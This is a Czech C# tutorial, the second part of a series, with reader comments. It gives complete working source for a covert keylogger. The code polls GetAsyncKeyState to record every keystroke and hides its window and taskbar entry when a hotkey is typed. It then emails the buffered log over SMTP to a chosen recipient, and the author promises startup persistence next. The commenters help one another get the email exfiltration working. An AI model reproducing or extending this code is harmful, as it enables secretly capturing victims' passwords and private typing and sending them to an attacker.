Jednoduchý KeyLogger v C# 2: Zachytávání kláves

C# .NET Pro pokročilé Jednoduchý KeyLogger v C# 2: Zachytávání kláves

V minulém tutoriálu jsme si připravili formulář a základní kód pro tvorbu jednoduchého KeyLoggeru.

Dnes budeme pokračovat a to vytvořením třídy pro zachytávání kláves. Nazveme ji"Key". V této třídě budeme zachytávat a nahrazovat znaky. Kód bude vysvětlen formou komentářů.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace KeyLogger
{
    public static class Key
    {
        // Deklarujeme WinAPI metodu GetAsyncKeyState knihovny user32.dll, která vrací aktuálně stisknutou klávesu
        [DllImport("User32.dll")] // budeme používat tuto knihovnu
        private static extern short GetAsyncKeyState(int vKey);

        /* Metoda pro nahrazování znaků.
         * KeyLogger vrací například po stitku mezery slovo "Space", tato metoda
         * se postará o to, aby nahradila slovo Space jiným textem, v naše případě
         * se slova "Space" nahradí skutečnou mezerou, tedy " ".
         * Tato "tabulka" byla stažená ze zdroje: http://www.zive.cz/clanky/stante-se-programatorem-spion-ktery-vi-co-pisete/sc-3-a-143551/default.aspx
         */
        public static string ReplaceChars(string text)
        {
            text = text.Replace("Space", " ");
            text = text.Replace("Delete", "<Del>");
            text = text.Replace("LShiftKey", "");
            text = text.Replace("ShiftKey", "");
            text = text.Replace("OemQuotes", "!");
            text = text.Replace("Oemcomma", "?");
            text = text.Replace("D8", "á");
            text = text.Replace("D2", "ě");
            text = text.Replace("D3", "š");
            text = text.Replace("D4", "č");
            text = text.Replace("D5", "ř");
            text = text.Replace("D6", "ž");
            text = text.Replace("D7", "ý");
            text = text.Replace("D9", "í");
            text = text.Replace("D0", "é");
            text = text.Replace("Back", "<==");
            text = text.Replace("LButton", "");
            text = text.Replace("RButton", "");
            text = text.Replace("NumPad", "");
            text = text.Replace("OemPeriod", ".");
            text = text.Replace("OemSemicolon", ",");
            text = text.Replace("Oem4", "/");
            text = text.Replace("LControlKey", "");
            text = text.Replace("ControlKey", "<CTRL>");
            text = text.Replace("Enter", "<ENT>");
            text = text.Replace("Shift", "");
            return text;
        }

        // zde probíhá samotné zachytávání znaků
        public static string GetBuffKeys()
        {
            string buffer = "";
            foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
            {
                if (GetAsyncKeyState(i) == -32767) // pokud je hodnota GetAsyncKeyState rovna -32767 (hodnota pro stisk klávesy. Jsou zde i hodnoty pro držení klávesy, uvolnění a podobně.), tak
                    buffer += Enum.GetName(typeof(Keys), i); //do bufferu přidej stisklou klávesu
            }
            return buffer; // vrátí řetězec
        }
    }
}

Tak, před několika okamžiky jsme vytvořili metodu, která nám zpracovává stisky kláves. Nyní je čas tuto metodu použít :) Použijeme ji v timeru tCheckKey

private void tCheckKey_Tick(object sender, EventArgs e)
{
    tbLog.Text += Key.GetBuffKeys(); // Přidám do textBoxu stiklou klávesu
    tbLog.Text = Key.ReplaceChars(tbLog.Text); // Pozměním nějaké znaky, jako "space" za " " a pod
}

Je čas začít náš KeyLogger skrývat. Budeme jej chtít skrývat například při rychlém stisku kláves "123" a odkrývat při rychlém stisku kláves "456". Použijeme tedy timer tCheckHide

private void tCheckHide_Tick(object sender, EventArgs e)
{
    if (tbLog.Text == "123") // pokud bude v okně text, který si uživatel zvolil pro skrytí,
    {
        this.Hide(); // skryj okno
        this.ShowInTaskbar = false; // skryj ho i z lišty
    }
    else if (tbLog.Text == "456") // pokud bude v okně text, který si uživatel zvolil pro odkrytí,
    {
        this.Show(); // odkrej okno
        this.ShowInTaskbar = true; // ukaž program na liště
    }
}

Teď už program můžete spustit :) Jak vidíte, záznamy kláves nám při kliknutí na tlačítko Start fungují skvěle, avšak vám nepůjde skrýt a odkrýt KeyLogger, pokud již budete mít nějaký text v poli pro text, tedy v TextBoxu. Ptáte se proč? Podívejte se na předchozí kód. Vídíte, že skrytí proběhne, je-li v textBoxu kód pro skrytí samostatně. Tedy textBox nesmí obsahovat žádné jiné znaky, pouze "123". A proto zde máme třetí timer tClearField. V tomto timeru se postaráme o vyprazdňování textBoxu a ukládání záznamu do nějaké proměnné. Proměnnou je třeba vytvořit mimo událost timeru. Takže každou sec se nám vyprázdní textBox a jeho obsah se uloží do nějaké proměnné.

string sBuffer = "";

private void tClearField_Tick(object sender, EventArgs e)
{
    sBuffer += tbLog.Text; // Do Bufferu přidám to, co je v okně
    tbLog.Text = ""; // vymazu okno
}

A je to, v současné době máte funkční KeyLogger. Má to však ještě jeden malý háček. Záznam se nám nikam neukládá/neposílá. Takže je nám to zatím celé je pro okrasu. Pojďme si tedy vytvořit třídu pro odesílání emailu. :) Nazvěme ji třeba Email.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net.Mail;
using System.Net;

namespace KeyLogger
{
    public class Email
    {
        public static void SendLog(string SMTP, string Port, string User, string Pass, string Adress, string Topic, string Log)
        {
            MailMessage mail = new MailMessage();
            mail.From = new MailAddress(User);
            mail.To.Add(new MailAddress(Adress));
            mail.Subject = Topic;
            mail.Body = Log;

            SmtpClient klient = new SmtpClient(SMTP, int.Parse(Port));
            klient.Credentials = new NetworkCredential(User, Pass);
            klient.EnableSsl = false;
            klient.Send(mail);
        }
    }
}

Teď už je odesílání emailu správně použít. Upravíme si tedy ještě timer tClearField a doplníme jej o kód pro odeslání.

private void tClearField_Tick(object sender, EventArgs e)
{
    sBuffer += tbLog.Text; // Do Bufferu přidám to, co je v okně
    tbLog.Text = ""; // vymazu okno

    // Pokud je délka delší, než požadovaná délka
    if (sBuffer.Length > 300) // je lepší to mít větší, já používám min 5000.
    {
        // odešleme email
        Email.SendLog("smtp.gmail.com", "587", "vasEmailProOdeslani@gmail.com",
            "vaseHesloProOdesilaciEmail", "emailPrijemceLogu@cokoli.neco",
            "TemaEmailu (nadpis)", sBuffer);
        sBuffer = ""; // po odeslání vyprázdníme buffer
    }
}

A je to, nyní máte funkční KeyLogger. Můžeme si jej ještě vylepšit o možnost zapínání po startu Windows a také o přehlednost. Tedy, abychom věděli v jakém okně byl text psán :) Na to se podíváme Příště.


 

Stáhnout

Staženo 832x (75.28 kB)
Aplikace je včetně zdrojových kódů v jazyce C#

 

  Aktivity (1)

Článek pro vás napsal Mediel
Avatar
Autor se věnuje programování v C#, ThaiBoxu, ženám a posilování :) „Jestliže si vsugerujete neúspěch, pak vás čeká neúspěch. Někdo říká, že je nesmělý, hloupý. Zopakujte si to desetkrát za sebou a vaše nesmělost a hloupost se tím jen prohloubí.“ MUHAMMAD

Jak se ti líbí článek?
Celkem (1 hlasů) :
55555


 



 

 

Komentáře
Zobrazit starší komentáře (13)

Avatar
David Čápka
Tým ITnetwork
Avatar
David Čápka:

Tak si ssl zase vypni.

Odpovědět 27.4.2013 14:43
Miluji svou práci a zdejší komunitu, baví mě se rozvíjet, děkuji každému členovi za to, že zde působí.
Avatar
niveses
Redaktor
Avatar
niveses:

Pořád nefunguje, zde jsou podrobnosti chyby:
http://sharetxt.com/?…

 
Odpovědět 27.4.2013 15:54
Avatar
niveses
Redaktor
Avatar
niveses:

Dnes si s tím lámu hlavu a pořád nemůžu přijít na to, co s tím. Zaznamenává, a pak když chce odeslat tak hodí chybu. Verze .NET 4. Zkoušel jsem přeinstalovat a nic. Jediný co jsem upravoval byla oblast s e-mailem. Nemá někdo tušení, co s tím?
Díky

 
Odpovědět 28.4.2013 17:20
Avatar
Odpovídá na niveses
Michal Žůrek (misaz):

Aha, takže pokud to tipuji dobře tak má tvůj počítač (a keylooger převážně) hlad, dej mu hamburger nebo hotdog. Jo a až to uděláš nezapomeň nám sem napsat co to je za chybu.

Odpovědět 28.4.2013 17:22
Nesnáším {}, proto se jim vyhýbám.
Avatar
niveses
Redaktor
Avatar
niveses:

Misaz, o pár postů dříve to je popsaný. I okno chyby, i podrobnosti.

 
Odpovědět 28.4.2013 17:39
Avatar
Mediel
Redaktor
Avatar
Odpovídá na niveses
Mediel:

Je to prosté, nejprve si zkus napsat aplikaci na posílání emailů a pak kód té aplikace implementuj sem ;) Pokud to nedáš, tak nemůžeš nikdy dělat keyLogger, když nedovedeš napsat ani email-sender...

Odpovědět 28.4.2013 20:18
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
niveses
Redaktor
Avatar
niveses:

Takže už to mám :) Díky :)

 
Odpovědět 29.4.2013 17:32
Avatar
Mediel
Redaktor
Avatar
Odpovídá na niveses
Mediel:

A kde jsi mel chybu? :)

Odpovědět 29.4.2013 21:04
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
niveses
Redaktor
Avatar
niveses:

neupravil jsem soubor Email :[

 
Odpovědět 29.4.2013 21:40
Avatar
Tomkanovik
Člen
Avatar
Tomkanovik:

Lidi neví někdo jak to upravit aby to chápalo i velký a malý písmena???

 
Odpovědět 20.1.2014 19:43
Děláme co je v našich silách, aby byly zdejší diskuze co nejkvalitnější. Proto do nich také mohou přispívat pouze registrovaní členové. Pro zapojení do diskuze se přihlas. Pokud ještě nemáš účet, zaregistruj se, je to zdarma.

Zobrazeno 10 zpráv z 23. Zobrazit vše